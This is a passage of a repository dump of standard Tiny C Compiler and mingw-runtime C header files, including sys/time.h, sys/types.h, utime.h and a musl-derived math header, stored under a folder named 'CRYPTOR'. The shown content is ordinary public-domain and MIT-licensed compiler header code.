can use that as guard. 47 | TCC defines __WINT_TYPE__ for us. */ 48 | #if defined (__need_wint_t) 49 | #ifndef _WINT_T 50 | #define _WINT_T 51 | typedef __WINT_TYPE__ wint_t; 52 | #endif 53 | #undef __need_wint_t 54 | #endif 55 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/fcntl.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | /* 7 | * This file is part of the Mingw32 package. 8 | * 9 | * This fcntl.h maps to the root fcntl.h 10 | */ 11 | #ifndef __STRICT_ANSI__ 12 | #include 13 | #endif 14 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/file.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | /* 7 | * This file is part of the Mingw32 package. 8 | * 9 | * This file.h maps to the root fcntl.h 10 | * TODO? 11 | */ 12 | #ifndef __STRICT_ANSI__ 13 | #include 14 | #endif 15 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/locking.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_LOCKING 7 | #define _INC_LOCKING 8 | 9 | #ifndef _WIN32 10 | #error Only Win32 target is supported! 11 | #endif 12 | 13 | /* All the headers include this file. */ 14 | #include <_mingw.h> 15 | 16 | #define _LK_UNLCK 0 17 | #define _LK_LOCK 1 18 | #define _LK_NBLCK 2 19 | #define _LK_RLCK 3 20 | #define _LK_NBRLCK 4 21 | 22 | #ifndef NO_OLDNAMES 23 | #define LK_UNLCK _LK_UNLCK 24 | #define LK_LOCK _LK_LOCK 25 | #define LK_NBLCK _LK_NBLCK 26 | #define LK_RLCK _LK_RLCK 27 | #define LK_NBRLCK _LK_NBRLCK 28 | #endif 29 | 30 | #endif 31 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/time.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | 7 | #ifndef _SYS_TIME_H_ 8 | #define _SYS_TIME_H_ 9 | 10 | #include 11 | 12 | #ifdef __cplusplus 13 | extern "C" { 14 | #endif 15 | 16 | #ifndef __STRICT_ANSI__ 17 | #ifndef _TIMEVAL_DEFINED /* also in winsock[2].h */ 18 | #define _TIMEVAL_DEFINED 19 | struct timeval { 20 | long tv_sec; 21 | long tv_usec; 22 | }; 23 | #define timerisset(tvp) ((tvp)->tv_sec || (tvp)->tv_usec) 24 | #define timercmp(tvp, uvp, cmp) \ 25 | (((tvp)->tv_sec != (uvp)->tv_sec) ? \ 26 | ((tvp)->tv_sec cmp (uvp)->tv_sec) : \ 27 | ((tvp)->tv_usec cmp (uvp)->tv_usec)) 28 | #define timerclear(tvp) (tvp)->tv_sec = (tvp)->tv_usec = 0 29 | #endif /* _TIMEVAL_DEFINED */ 30 | 31 | #ifndef _TIMEZONE_DEFINED /* also in sys/time.h */ 32 | #define _TIMEZONE_DEFINED 33 | /* Provided for compatibility with code that assumes that 34 | the presence of gettimeofday function implies a definition 35 | of struct timezone. */ 36 | struct timezone 37 | { 38 | int tz_minuteswest; /* of Greenwich */ 39 | int tz_dsttime; /* type of dst correction to apply */ 40 | }; 41 | 42 | extern int __cdecl mingw_gettimeofday (struct timeval *p, struct timezone *z); 43 | 44 | #endif 45 | 46 | /* 47 | Implementation as per: 48 | The Open Group Base Specifications, Issue 6 49 | IEEE Std 1003.1, 2004 Edition 50 | 51 | The timezone pointer arg is ignored. Errors are ignored. 52 | */ 53 | #ifndef _GETTIMEOFDAY_DEFINED 54 | #define _GETTIMEOFDAY_DEFINED 55 | int __cdecl gettimeofday(struct timeval *__restrict__, 56 | void *__restrict__ /* tzp (unused) */); 57 | #endif 58 | 59 | #endif /* __STRICT_ANSI__ */ 60 | 61 | #ifdef __cplusplus 62 | } 63 | #endif 64 | 65 | /* Adding timespec definition. */ 66 | #include 67 | 68 | 69 | #endif /* _SYS_TIME_H_ */ 70 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/timeb.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _TIMEB_H_ 7 | #define _TIMEB_H_ 8 | 9 | #include <_mingw.h> 10 | 11 | #ifndef _WIN32 12 | #error Only Win32 target is supported! 13 | #endif 14 | 15 | #pragma pack(push,_CRT_PACKING) 16 | 17 | #ifdef __cplusplus 18 | extern "C" { 19 | #endif 20 | 21 | #ifndef _CRTIMP 22 | #define _CRTIMP __declspec(dllimport) 23 | #endif 24 | 25 | #ifndef __TINYC__ /* gr */ 26 | #ifdef _USE_32BIT_TIME_T 27 | #ifdef _WIN64 28 | #undef _USE_32BIT_TIME_T 29 | #endif 30 | #else 31 | #if _INTEGRAL_MAX_BITS < 64 32 | #define _USE_32BIT_TIME_T 33 | #endif 34 | #endif 35 | #endif 36 | 37 | #ifndef _TIME32_T_DEFINED 38 | typedef long __time32_t; 39 | #define _TIME32_T_DEFINED 40 | #endif 41 | 42 | #ifndef _TIME64_T_DEFINED 43 | #if _INTEGRAL_MAX_BITS >= 64 44 | typedef __int64 __time64_t; 45 | #endif 46 | #define _TIME64_T_DEFINED 47 | #endif 48 | 49 | #ifndef _TIME_T_DEFINED 50 | #ifdef _USE_32BIT_TIME_T 51 | typedef __time32_t time_t; 52 | #else 53 | typedef __time64_t time_t; 54 | #endif 55 | #define _TIME_T_DEFINED 56 | #endif 57 | 58 | #ifndef _TIMEB_DEFINED 59 | #define _TIMEB_DEFINED 60 | 61 | struct __timeb32 { 62 | __time32_t time; 63 | unsigned short millitm; 64 | short timezone; 65 | short dstflag; 66 | }; 67 | 68 | #ifndef NO_OLDNAMES 69 | struct timeb { 70 | time_t time; 71 | unsigned short millitm; 72 | short timezone; 73 | short dstflag; 74 | }; 75 | #endif 76 | 77 | #if _INTEGRAL_MAX_BITS >= 64 78 | struct __timeb64 { 79 | __time64_t time; 80 | unsigned short millitm; 81 | short timezone; 82 | short dstflag; 83 | }; 84 | #endif 85 | 86 | #ifdef _USE_32BIT_TIME_T 87 | #define _timeb __timeb32 88 | //gr #define _ftime _ftime32 89 | #define _ftime32 _ftime 90 | #else 91 | #define _timeb __timeb64 92 | #define _ftime _ftime64 93 | #endif 94 | #endif 95 | 96 | _CRTIMP void __cdecl _ftime32(struct __timeb32 *_Time); 97 | #if _INTEGRAL_MAX_BITS >= 64 98 | _CRTIMP void __cdecl _ftime64(struct __timeb64 *_Time); 99 | #endif 100 | 101 | #ifndef _TIMESPEC_DEFINED 102 | #define _TIMESPEC_DEFINED 103 | struct timespec { 104 | time_t tv_sec; /* Seconds */ 105 | long tv_nsec; /* Nanoseconds */ 106 | }; 107 | 108 | struct itimerspec { 109 | struct timespec it_interval; /* Timer period */ 110 | struct timespec it_value; /* Timer expiration */ 111 | }; 112 | #endif 113 | 114 | #if !defined (RC_INVOKED) && !defined (NO_OLDNAMES) 115 | #ifdef _USE_32BIT_TIME_T 116 | __CRT_INLINE void __cdecl ftime(struct timeb *_Tmb) { 117 | _ftime32((struct __timeb32 *)_Tmb); 118 | } 119 | #else 120 | __CRT_INLINE void __cdecl ftime(struct timeb *_Tmb) { 121 | _ftime64((struct __timeb64 *)_Tmb); 122 | } 123 | #endif 124 | #endif 125 | 126 | #ifdef __cplusplus 127 | } 128 | #endif 129 | 130 | #pragma pack(pop) 131 | 132 | #include 133 | #endif 134 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/types.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_TYPES 7 | #define _INC_TYPES 8 | 9 | #ifndef _WIN32 10 | #error Only Win32 target is supported! 11 | #endif 12 | 13 | #include <_mingw.h> 14 | 15 | #ifndef __TINYC__ /* gr */ 16 | #ifdef _USE_32BIT_TIME_T 17 | #ifdef _WIN64 18 | #undef _USE_32BIT_TIME_T 19 | #endif 20 | #else 21 | #if _INTEGRAL_MAX_BITS < 64 22 | #define _USE_32BIT_TIME_T 23 | #endif 24 | #endif 25 | #endif 26 | 27 | #ifndef _TIME32_T_DEFINED 28 | #define _TIME32_T_DEFINED 29 | typedef long __time32_t; 30 | #endif 31 | 32 | #ifndef _TIME64_T_DEFINED 33 | #define _TIME64_T_DEFINED 34 | #if _INTEGRAL_MAX_BITS >= 64 35 | typedef __int64 __time64_t; 36 | #endif 37 | #endif 38 | 39 | #ifndef _TIME_T_DEFINED 40 | #define _TIME_T_DEFINED 41 | #ifdef _USE_32BIT_TIME_T 42 | typedef __time32_t time_t; 43 | #else 44 | typedef __time64_t time_t; 45 | #endif 46 | #endif 47 | 48 | #ifndef _INO_T_DEFINED 49 | #define _INO_T_DEFINED 50 | typedef unsigned short _ino_t; 51 | #ifndef NO_OLDNAMES 52 | typedef unsigned short ino_t; 53 | #endif 54 | #endif 55 | 56 | #ifndef _DEV_T_DEFINED 57 | #define _DEV_T_DEFINED 58 | typedef unsigned int _dev_t; 59 | #ifndef NO_OLDNAMES 60 | typedef unsigned int dev_t; 61 | #endif 62 | #endif 63 | 64 | #ifndef _PID_T_ 65 | #define _PID_T_ 66 | #ifndef _WIN64 67 | typedef int _pid_t; 68 | #else 69 | typedef __int64 _pid_t; 70 | #endif 71 | 72 | #ifndef NO_OLDNAMES 73 | typedef _pid_t pid_t; 74 | #endif 75 | #endif /* Not _PID_T_ */ 76 | 77 | #ifndef _MODE_T_ 78 | #define _MODE_T_ 79 | typedef unsigned short _mode_t; 80 | 81 | #ifndef NO_OLDNAMES 82 | typedef _mode_t mode_t; 83 | #endif 84 | #endif /* Not _MODE_T_ */ 85 | 86 | #ifndef _OFF_T_DEFINED 87 | #define _OFF_T_DEFINED 88 | #ifndef _OFF_T_ 89 | #define _OFF_T_ 90 | typedef long _off_t; 91 | #if !defined(NO_OLDNAMES) || defined(_POSIX) 92 | typedef long off_t; 93 | #endif 94 | #endif 95 | #endif 96 | 97 | #ifndef _OFF64_T_DEFINED 98 | #define _OFF64_T_DEFINED 99 | typedef long long _off64_t; 100 | #if !defined(NO_OLDNAMES) || defined(_POSIX) 101 | typedef long long off64_t; 102 | #endif 103 | #endif 104 | 105 | #ifndef _TIMESPEC_DEFINED 106 | #define _TIMESPEC_DEFINED 107 | struct timespec { 108 | time_t tv_sec; /* Seconds */ 109 | long tv_nsec; /* Nanoseconds */ 110 | }; 111 | 112 | struct itimerspec { 113 | struct timespec it_interval; /* Timer period */ 114 | struct timespec it_value; /* Timer expiration */ 115 | }; 116 | #endif 117 | 118 | #endif 119 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/unistd.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | /* 7 | * This file is part of the Mingw32 package. 8 | * 9 | * unistd.h maps (roughly) to io.h 10 | */ 11 | #ifndef __STRICT_ANSI__ 12 | #include 13 | #endif 14 | 15 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/sys/utime.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_UTIME 7 | #define _INC_UTIME 8 | 9 | #ifndef _WIN32 10 | #error Only Win32 target is supported! 11 | #endif 12 | 13 | #include <_mingw.h> 14 | 15 | #pragma pack(push,_CRT_PACKING) 16 | 17 | #ifdef __cplusplus 18 | extern "C" { 19 | #endif 20 | 21 | #ifndef _CRTIMP 22 | #define _CRTIMP __declspec(dllimport) 23 | #endif 24 | 25 | #ifndef _WCHAR_T_DEFINED 26 | typedef unsigned short wchar_t; 27 | #define _WCHAR_T_DEFINED 28 | #endif 29 | 30 | #ifndef __TINYC__ /* gr */ 31 | #ifdef _USE_32BIT_TIME_T 32 | #ifdef _WIN64 33 | #undef _USE_32BIT_TIME_T 34 | #endif 35 | #else 36 | #if _INTEGRAL_MAX_BITS < 64 37 | #define _USE_32BIT_TIME_T 38 | #endif 39 | #endif 40 | #endif 41 | 42 | #ifndef _TIME32_T_DEFINED 43 | #define _TIME32_T_DEFINED 44 | typedef long __time32_t; 45 | #endif 46 | 47 | #ifndef _TIME64_T_DEFINED 48 | #define _TIME64_T_DEFINED 49 | #if _INTEGRAL_MAX_BITS >= 64 50 | typedef __int64 __time64_t; 51 | #endif 52 | #endif 53 | 54 | #ifndef _TIME_T_DEFINED 55 | #define _TIME_T_DEFINED 56 | #ifdef _USE_32BIT_TIME_T 57 | typedef __time32_t time_t; 58 | #else 59 | typedef __time64_t time_t; 60 | #endif 61 | #endif 62 | 63 | #ifndef _UTIMBUF_DEFINED 64 | #define _UTIMBUF_DEFINED 65 | 66 | struct _utimbuf { 67 | time_t actime; 68 | time_t modtime; 69 | }; 70 | 71 | struct __utimbuf32 { 72 | __time32_t actime; 73 | __time32_t modtime; 74 | }; 75 | 76 | #if _INTEGRAL_MAX_BITS >= 64 77 | struct __utimbuf64 { 78 | __time64_t actime; 79 | __time64_t modtime; 80 | }; 81 | #endif 82 | 83 | #ifndef NO_OLDNAMES 84 | struct utimbuf { 85 | time_t actime; 86 | time_t modtime; 87 | }; 88 | 89 | struct utimbuf32 { 90 | __time32_t actime; 91 | __time32_t modtime; 92 | }; 93 | #endif 94 | #endif 95 | 96 | _CRTIMP int __cdecl _utime32(const char *_Filename,struct __utimbuf32 *_Time); 97 | _CRTIMP int __cdecl _futime32(int _FileDes,struct __utimbuf32 *_Time); 98 | _CRTIMP int __cdecl _wutime32(const wchar_t *_Filename,struct __utimbuf32 *_Time); 99 | #if _INTEGRAL_MAX_BITS >= 64 100 | _CRTIMP int __cdecl _utime64(const char *_Filename,struct __utimbuf64 *_Time); 101 | _CRTIMP int __cdecl _futime64(int _FileDes,struct __utimbuf64 *_Time); 102 | _CRTIMP int __cdecl _wutime64(const wchar_t *_Filename,struct __utimbuf64 *_Time); 103 | #endif 104 | 105 | #ifndef RC_INVOKED 106 | #ifdef _USE_32BIT_TIME_T 107 | __CRT_INLINE int __cdecl _utime(const char *_Filename,struct _utimbuf *_Utimbuf) { 108 | return _utime32(_Filename,(struct __utimbuf32 *)_Utimbuf); 109 | } 110 | __CRT_INLINE int __cdecl _futime(int _Desc,struct _utimbuf *_Utimbuf) { 111 | return _futime32(_Desc,(struct __utimbuf32 *)_Utimbuf); 112 | } 113 | __CRT_INLINE int __cdecl _wutime(const wchar_t *_Filename,struct _utimbuf *_Utimbuf) { 114 | return _wutime32(_Filename,(struct __utimbuf32 *)_Utimbuf); 115 | } 116 | #else 117 | __CRT_INLINE int __cdecl _utime(const char *_Filename,struct _utimbuf *_Utimbuf) { 118 | return _utime64(_Filename,(struct __utimbuf64 *)_Utimbuf); 119 | } 120 | __CRT_INLINE int __cdecl _futime(int _Desc,struct _utimbuf *_Utimbuf) { 121 | return _futime64(_Desc,(struct __utimbuf64 *)_Utimbuf); 122 | } 123 | __CRT_INLINE int __cdecl _wutime(const wchar_t *_Filename,struct _utimbuf *_Utimbuf) { 124 | return _wutime64(_Filename,(struct __utimbuf64 *)_Utimbuf); 125 | } 126 | #endif 127 | 128 | #ifndef NO_OLDNAMES 129 | #ifdef _USE_32BIT_TIME_T 130 | __CRT_INLINE int __cdecl utime(const char *_Filename,struct utimbuf *_Utimbuf) { 131 | return _utime32(_Filename,(struct __utimbuf32 *)_Utimbuf); 132 | } 133 | #else 134 | __CRT_INLINE int __cdecl utime(const char *_Filename,struct utimbuf *_Utimbuf) { 135 | return _utime64(_Filename,(struct __utimbuf64 *)_Utimbuf); 136 | } 137 | #endif 138 | #endif 139 | #endif 140 | 141 | #ifdef __cplusplus 142 | } 143 | #endif 144 | 145 | #pragma pack(pop) 146 | #endif 147 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/tcc/tcc_libm.h: -------------------------------------------------------------------------------- 1 | #ifndef _TCC_LIBM_H_ 2 | #define _TCC_LIBM_H_ 3 | 4 | #include "../math.h" 5 | 6 | /* TCC uses 8 bytes for double and long double, so effectively the l variants 7 | * are never used. For now, they just run the normal (double) variant. 8 | */ 9 | 10 | /* 11 | * most of the code in this file is taken from MUSL rs-1.0 (MIT license) 12 | * - musl-libc: http://git.musl-libc.org/cgit/musl/tree/src/math?h=rs-1.0 13 | * - License: http://git.musl-libc.org/cgit/musl/tree/COPYRIGHT?h=rs-1.0 14 | */ 15 | 16 | /******************************************************************************* 17 | Start of code based on MUSL 18 | *******************************************************************************/ 19 | /* 20 | musl as a whole is licensed under the following standard MIT license: 21 | 22 | ---------------------------------------------------------------------- 23 | Copyright © 2005-2014 Rich Felker, et al. 24 | 25 | Permission is hereby granted, free of charge, to any person obtaining 26 | a copy of this software and associated documentation files (the 27 | "Software"), to deal in the Software without restriction, including 28 | without limitation the rights to use, copy, modify, merge, publish, 29 | distribute, sublicense, and/or sell copies of the Software, and to 30 | permit persons to whom the Software is furnished to do so, subject to 31 | the following conditions: 32 | 33 | The above copyright notice and this permission notice shall be 34 | included in all copies or substantial portions of the Software. 35 | 36 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 37 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 38 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 39 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 40 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 41 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 42 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 43 | ---------------------------------------------------------------------- 44 | */ 45 | 46 | /* fpclassify */ 47 | 48 | __CRT_INLINE int __cdecl __fpclassify (double x) { 49 | union {double f; uint64_t i;} u = {x}; 50 | int e = u.i>>52 & 0x7ff; 51 | if (!e) return u.i<<1 ? FP_SUBNORMAL : FP_ZERO; 52 | if (e==0x7ff) return u.i<<12 ? FP_NAN : FP_INFINITE; 53 | return FP_NORMAL; 54 | } 55 | 56 | __CRT_INLINE int __cdecl __fpclassifyf (float x) { 57 | union {float f; uint32_t i;} u = {x}; 58 | int e = u.i>>23 & 0xff; 59 | if (!e) return u.i<<1 ? FP_SUBNORMAL : FP_ZERO; 60 | if (e==0xff) return u.i<<9 ? FP_NAN : FP_INFINITE; 61 | return FP_NORMAL; 62 | } 63 | 64 | __CRT_INLINE int __cdecl __fpclassifyl (long double x) { 65 | return __fpclassify(x); 66 | } 67 | 68 | 69 | /* signbit */ 70 | 71 | __CRT_INLINE int __cdecl __signbit (double x) { 72 | union {double d; uint64_t i;} y = { x }; 73 | return y.i>>63; 74 | } 75 | 76 | __CRT_INLINE int __cdecl __signbitf (float x) { 77 | union {float f; uint32_t i; } y = { x }; 78 | return y.i>>31; 79 | } 80 | 81 | __CRT_INLINE int __cdecl __signbitl (long double x) { 82 | return __signbit(x); 83 | } 84 | 85 | 86 | /* fmin*, fmax* */ 87 | 88 | #define TCCFP_FMIN_EVAL (isnan(x) ? y : \ 89 | isnan(y) ? x : \ 90 | (signbit(x) != signbit(y)) ? (signbit(x) ? x : y) : \ 91 | x < y ? x : y) 92 | 93 | __CRT_INLINE double __cdecl fmin (double x, double y) { 94 | return TCCFP_FMIN_EVAL; 95 | } 96 | 97 | __CRT_INLINE float __cdecl fminf (float x, float y) { 98 | return TCCFP_FMIN_EVAL; 99 | } 100 | 101 | __CRT_INLINE long double __cdecl fminl (long double x, long double y) { 102 | return TCCFP_FMIN_EVAL; 103 | } 104 | 105 | #define TCCFP_FMAX_EVAL (isnan(x) ? y : \ 106 | isnan(y) ? x : \ 107 | (signbit(x) != signbit(y)) ? (signbit(x) ? y : x) : \ 108 | x < y ? y : x) 109 | 110 | __CRT_INLINE double __cdecl fmax (double x, double y) { 111 | return TCCFP_FMAX_EVAL; 112 | } 113 | 114 | __CRT_INLINE float __cdecl fmaxf (float x, float y) { 115 | return TCCFP_FMAX_EVAL; 116 | } 117 | 118 | __CRT_INLINE long double __cdecl fmaxl (long double x, long double y) { 119 | return TCCFP_FMAX_EVAL; 120 | } 121 | 122 | 123 | /* *round* */ 124 | 125 | #define TCCFP_FORCE_EVAL(x) do { \ 126 | if (sizeof(x) == sizeof(float)) { \ 127 | volatile float __x; \ 128 | __x = (x); \ 129 | } else if (sizeof(x) == sizeof(double)) { \ 130 | volatile double __x; \ 131 | __x = (x); \ 132 | } else { \ 133 | volatile long double __x; \ 134 | __x = (x); \ 135 | } \ 136 | } while(0) 137 | 138 | __CRT_INLINE double __cdecl round (double x) { 139 | union {double f; uint64_t i;} u = {x}; 140 | int e = u.i >> 52 & 0x7ff; 141 | double y; 142 | 143 | if (e >= 0x3ff+52) 144 | return x; 145 | if (u.i >> 63) 146 | x = -x; 147 | if (e < 0x3ff-1) { 148 | /* raise inexact if x!=0 */ 149 | TCCFP_FORCE_EVAL(x + 0x1p52); 150 | return 0*u.f; 151 | } 152 | y = (double)(x + 0x1p52) - 0x1p52 - x; 153 | if (y > 0.5) 154 | y = y + x - 1; 155 | else if (y <= -0.5) 156 | y = y + x + 1; 157 | else 158 | y = y + x; 159 | if (u.i >> 63) 160 | y = -y; 161 | return y; 162 | } 163 | 164 | __CRT_INLINE long __cdecl lround (double x) { 165 | return round(x); 166 | } 167 | 168 | __CRT_INLINE long long __cdecl llround (double x) { 169 | return round(x); 170 | } 171 | 172 | __CRT_INLINE float __cdecl roundf (float x) { 173 | return round(x); 174 | } 175 | 176 | __CRT_INLINE long __cdecl lroundf (float x) { 177 | return round(x); 178 | } 179 | 180 | __CRT_INLINE long long __cdecl llroundf (float x) { 181 | return round(x); 182 | } 183 | 184 | __CRT_INLINE long double __cdecl roundl (long double x) { 185 | return round(x); 186 | } 187 | 188 | __CRT_INLINE long __cdecl lroundl (long double x) { 189 | return round(x); 190 | } 191 | 192 | __CRT_INLINE long long __cdecl llroundl (long double x) { 193 | return round(x); 194 | } 195 | 196 | 197 | /******************************************************************************* 198 | End of code based on MUSL 199 | *******************************************************************************/ 200 | 201 | #endif /* _TCC_LIBM_H_ */ 202 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/tcclib.h: -------------------------------------------------------------------------------- 1 | /* Simple libc header for TCC 2 | * 3 | * Add any function you want from the libc there. This file is here 4 | * only for your convenience so that you do not need to put the whole 5 | * glibc include files on your floppy disk 6 | */ 7 | #ifndef _TCCLIB_H 8 | #define _TCCLIB_H 9 | 10 | #include 11 | #include 12 | 13 | /* stdlib.h */ 14 | void *calloc(size_t nmemb, size_t size); 15 | void *malloc(size_t size); 16 | void free(void *ptr); 17 | void *realloc(void *ptr, size_t size); 18 | int atoi(const char *nptr); 19 | long int strtol(const char *nptr, char **endptr, int base); 20 | unsigned long int strtoul(const char *nptr, char **endptr, int base); 21 | void exit(int); 22 | 23 | /* stdio.h */ 24 | typedef struct __FILE FILE; 25 | #define EOF (-1) 26 | extern FILE *stdin; 27 | extern FILE *stdout; 28 | extern FILE *stderr; 29 | FILE *fopen(const char *path, const char *mode); 30 | FILE *fdopen(int fildes, const char *mode); 31 | FILE *freopen(const char *path, const char *mode, FILE *stream); 32 | int fclose(FILE *stream); 33 | size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); 34 | size_t fwrite(void *ptr, size_t size, size_t nmemb, FILE *stream); 35 | int fgetc(FILE *stream); 36 | char *fgets(char *s, int size, FILE *stream); 37 | int getc(FILE *stream); 38 | int getchar(void); 39 | char *gets(char *s); 40 | int ungetc(int c, FILE *stream); 41 | int fflush(FILE *stream); 42 | int putchar (int c); 43 | 44 | int printf(const char *format, ...); 45 | int fprintf(FILE *stream, const char *format, ...); 46 | int sprintf(char *str, const char *format, ...); 47 | int snprintf(char *str, size_t size, const char *format, ...); 48 | int asprintf(char **strp, const char *format, ...); 49 | int dprintf(int fd, const char *format, ...); 50 | int vprintf(const char *format, va_list ap); 51 | int vfprintf(FILE *stream, const char *format, va_list ap); 52 | int vsprintf(char *str, const char *format, va_list ap); 53 | int vsnprintf(char *str, size_t size, const char *format, va_list ap); 54 | int vasprintf(char **strp, const char *format, va_list ap); 55 | int vdprintf(int fd, const char *format, va_list ap); 56 | 57 | void perror(const char *s); 58 | 59 | /* string.h */ 60 | char *strcat(char *dest, const char *src); 61 | char *strchr(const char *s, int c); 62 | char *strrchr(const char *s, int c); 63 | char *strcpy(char *dest, const char *src); 64 | void *memcpy(void *dest, const void *src, size_t n); 65 | void *memmove(void *dest, const void *src, size_t n); 66 | void *memset(void *s, int c, size_t n); 67 | char *strdup(const char *s); 68 | size_t strlen(const char *s); 69 | 70 | /* dlfcn.h */ 71 | #define RTLD_LAZY 0x001 72 | #define RTLD_NOW 0x002 73 | #define RTLD_GLOBAL 0x100 74 | 75 | void *dlopen(const char *filename, int flag); 76 | const char *dlerror(void); 77 | void *dlsym(void *handle, char *symbol); 78 | int dlclose(void *handle); 79 | 80 | #endif /* _TCCLIB_H */ 81 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/vadefs.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_VADEFS 7 | #define _INC_VADEFS 8 | 9 | //!__TINYC__: GNUC specific stuff removed 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/values.h: -------------------------------------------------------------------------------- 1 | /* 2 | * TODO: Nothing here yet. Should provide UNIX compatibility constants 3 | * comparable to those in limits.h and float.h. 4 | */ 5 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/varargs.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _VARARGS_H 7 | #define _VARARGS_H 8 | 9 | #error "TinyCC no longer implements ." 10 | #error "Revise your code to use ." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/include/wctype.h: -------------------------------------------------------------------------------- 1 | /** 2 | * This file has no copyright assigned and is placed in the Public Domain. 3 | * This file is part of the w64 mingw-runtime package. 4 | * No warranty is given; refer to the file DISCLAIMER within this package. 5 | */ 6 | #ifndef _INC_WCTYPE 7 | #define _INC_WCTYPE 8 | 9 | #ifndef _WIN32 10 | #error Only Win32 target is supported! 11 | #endif 12 | 13 | #include <_mingw.h> 14 | 15 | #pragma pack(push,_CRT_PACKING) 16 | 17 | #ifdef __cplusplus 18 | extern "C" { 19 | #endif 20 | 21 | #ifndef _CRTIMP 22 | #define _CRTIMP __declspec(dllimport) 23 | #endif 24 | 25 | #ifndef _WCHAR_T_DEFINED 26 | typedef unsigned short wchar_t; 27 | #define _WCHAR_T_DEFINED 28 | #endif 29 | 30 | #ifndef _WCTYPE_T_DEFINED 31 | typedef unsigned short wint_t; 32 | typedef unsigned short wctype_t; 33 | #define _WCTYPE_T_DEFINED 34 | #endif 35 | 36 | #ifndef WEOF 37 | #define WEOF (wint_t)(0xFFFF) 38 | #endif 39 | 40 | #ifndef _CRT_CTYPEDATA_DEFINED 41 | #define _CRT_CTYPEDATA_DEFINED 42 | #ifndef _CTYPE_DISABLE_MACROS 43 | 44 | #ifndef __PCTYPE_FUNC 45 | #define __PCTYPE_FUNC __pctype_func() 46 | #ifdef _MSVCRT_ 47 | #define __pctype_func() (_pctype) 48 | #else 49 | #define __pctype_func() (*_imp___pctype) 50 | #endif 51 | #endif 52 | 53 | #ifndef _pctype 54 | #ifdef _MSVCRT_ 55 | extern unsigned short *_pctype; 56 | #else 57 | extern unsigned short **_imp___pctype; 58 | #define _pctype (*_imp___pctype) 59 | #endif 60 | #endif 61 | 62 | #endif 63 | #endif 64 | 65 | #ifndef _CRT_WCTYPEDATA_DEFINED 66 | #define _CRT_WCTYPEDATA_DEFINED 67 | #ifndef _CTYPE_DISABLE_MACROS 68 | #ifndef _wctype 69 | #ifdef _MSVCRT_ 70 | extern unsigned short *_wctype; 71 | #else 72 | extern unsigned short **_imp___wctype; 73 | #define _wctype (*_imp___wctype) 74 | #endif 75 | #endif 76 | 77 | #ifndef _pwctype 78 | #ifdef _MSVCRT_ 79 | extern unsigned short *_pwctype; 80 | #else 81 | extern unsigned short **_imp___pwctype; 82 | #define _pwctype (*_imp___pwctype) 83 | #define __pwctype_func() (*_imp___pwctype) 84 | #endif 85 | #endif 86 | #endif 87 | #endif 88 | 89 | #define _UPPER 0x1 90 